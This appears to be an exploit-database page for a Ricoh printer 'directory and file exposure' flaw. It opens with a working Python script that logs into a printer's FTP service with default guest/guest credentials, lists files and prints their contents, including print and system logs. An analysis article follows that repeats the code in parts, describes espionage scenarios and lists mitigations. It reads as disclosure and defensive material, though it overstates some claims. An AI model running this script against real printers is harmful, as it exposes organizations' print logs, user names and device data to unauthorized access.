Ricoh Printer - Directory and File Exposure

Exploit Author: Thomas Heverin Analysis Author: www.bubbleslearn.ir Category: Remote Language: Python Published Date: 2024-01-29
#Exploit Title: Ricoh Printer Directory and File Exposure 
#Date: 9/15/2023
#Exploit Author: Thomas Heverin (Heverin Hacker)
#Vendor Homepage: https://www.ricoh.com/products/printers-and-copiers
#Software Link: https://replit.com/@HeverinHacker/Ricoh-Printer-Directory-and-File-Finder#main.py
#Version: Ricoh Printers - All Versions
#Tested on: Windows
#CVE: N/A 

#Directories Found: Help, Info (Printer Information), Prnlog (Print Log), Stat (Statistics) and Syslog (System Log)

from ftplib import FTP

def ftp_connect(ip):
    try:
        ftp = FTP(ip)
        ftp.login("guest", "guest")
        print(f"Connected to {ip} over FTP as 'guest'")
        return ftp
    except Exception as e:
        print(f"Failed to connect to {ip} over FTP: {e}")
        return None

if __name__ == "__main__":
    target_ip = input("Enter the Ricoh Printer IP address: ")
    
    ftp_connection = ftp_connect(target_ip)
    if ftp_connection:
        try:
            while True:
                file_list = ftp_connection.nlst()
                print("List of Ricoh printer files and directories:")
                for index, item in enumerate(file_list, start=1):
                    print(f"{index}. {item}")
                
                file_index = int(input("Enter the printer index of the file to read (1-based), or enter 0 to exit: ")) - 1
                if file_index < 0:
                    break
                
                if 0 <= file_index < len(file_list):
                    selected_file = file_list[file_index]
                    lines = []
                    ftp_connection.retrlines("RETR " + selected_file, lines.append)
                    print(f"Contents of '{selected_file}':")
                    for line in lines:
                        print(line)
                else:
                    print("Invalid file index.")
        except Exception as e:
            print(f"Failed to perform operation: {e}")
        finally:
            ftp_connection.quit()


Ricoh Printer Directory and File Exposure: A Critical Security Vulnerability

Recent findings have exposed a significant security flaw in Ricoh printers across all versions, enabling unauthorized access to sensitive internal directories and files via the default FTP service. This vulnerability, identified by cybersecurity researcher Thomas Heverin (Heverin Hacker), underscores the growing risks associated with embedded devices in enterprise environments.

Exploitation Mechanism: Default FTP Access

Many Ricoh printers come with an enabled FTP server for administrative purposes, but it is often left unsecured. The exploit leverages the default credentials guest / guest, which are widely documented and unmodified in most deployments.


from ftplib import FTP

def ftp_connect(ip):
    try:
        ftp = FTP(ip)
        ftp.login("guest", "guest")
        print(f"Connected to {ip} over FTP as 'guest'")
        return ftp
    except Exception as e:
        print(f"Failed to connect to {ip} over FTP: {e}")
        return None

This Python snippet demonstrates how a remote attacker can establish an FTP connection to a Ricoh printer using the default guest account. The FTP class from Python’s standard library enables direct interaction with the printer’s file system. Once connected, the attacker can enumerate directories and retrieve sensitive data without authentication.

Exposed Directories and Their Risks

Upon successful login, the attacker gains access to the following directories:

  • Help: Contains user guides and configuration manuals—potentially revealing internal workflows or security settings.
  • Info: Stores printer information such as firmware version, serial number, and network configuration.
  • Prnlog: Holds print job logs, including timestamps, user names, document titles, and file paths—highly sensitive in corporate environments.
  • Stat: Contains operational statistics like page counts, ink usage, and device uptime—useful for tracking usage patterns and identifying high-risk users.
  • Syslog: Houses system logs, including error messages, service restarts, and authentication attempts—ideal for forensic analysis and detecting prior breaches.

These files, when exposed, can provide a wealth of intelligence for malicious actors. For example, a Prnlog file might contain the names of employees who printed confidential documents, enabling targeted phishing or insider threat detection.

Real-World Use Case: Corporate Espionage

Imagine a scenario where an attacker gains access to a Ricoh printer in a law firm. By retrieving Prnlog files, they can identify which attorneys accessed sensitive client documents. This data could be used to craft personalized attacks or sell to competitors. Similarly, Syslog entries might reveal failed login attempts or system reboots—indicating a prior compromise or configuration change.

Technical Deep Dive: File Retrieval and Enumeration


if __name__ == "__main__":
    target_ip = input("Enter the Ricoh Printer IP address: ")
    
    ftp_connection = ftp_connect(target_ip)
    if ftp_connection:
        try:
            while True:
                file_list = ftp_connection.nlst()
                print("List of Ricoh printer files and directories:")
                for index, item in enumerate(file_list, start=1):
                    print(f"{index}. {item}")
                
                file_index = int(input("Enter the printer index of the file to read (1-based), or enter 0 to exit: ")) - 1
                if file_index < 0:
                    break
                
                if 0 <= file_index < len(file_list):
                    selected_file = file_list[file_index]
                    lines = []
                    ftp_connection.retrlines("RETR " + selected_file, lines.append)
                    print(f"Contents of '{selected_file}':")
                    for line in lines:
                        print(line)
                else:
                    print("Invalid file index.")
        except Exception as e:
            print(f"Failed to perform operation: {e}")
        finally:
            ftp_connection.quit()

This code demonstrates how an attacker can list all files in the printer’s root directory using nlst(), then select a specific file for download via retrlines(). The RETR command retrieves the file’s content line by line, allowing the attacker to read logs, configuration files, or user data without downloading the entire file.

Security Recommendations and Mitigations

While Ricoh has not assigned a CVE, this vulnerability poses a real threat to organizations. The following measures are recommended:

  • Disable FTP service on Ricoh printers when not in use.
  • Change default credentials if FTP is required—use strong, unique passwords.
  • Implement network segmentation to isolate printers from critical systems.
  • Monitor for unauthorized FTP access using SIEM tools or firewall logs.
  • Apply firmware updates regularly to patch known vulnerabilities.

Why This Matters: The Internet of Things (IoT) Risk

Printers are often overlooked as part of an organization’s security perimeter. However, they are connected to internal networks, store sensitive data, and can serve as entry points for lateral movement. This exploit exemplifies how unsecured IoT devices can become gateways for data exfiltration and reconnaissance.

Expert Insight: Proactive Defense

Security professionals should treat all network-connected devices—including printers—as potential attack vectors. Regular vulnerability scanning, especially for devices with default credentials, is essential. Tools like Nmap or Shodan can detect exposed FTP services on Ricoh printers, enabling early detection and remediation.

As the attack surface expands with more IoT devices, understanding and securing these endpoints becomes a cornerstone of modern cybersecurity strategy.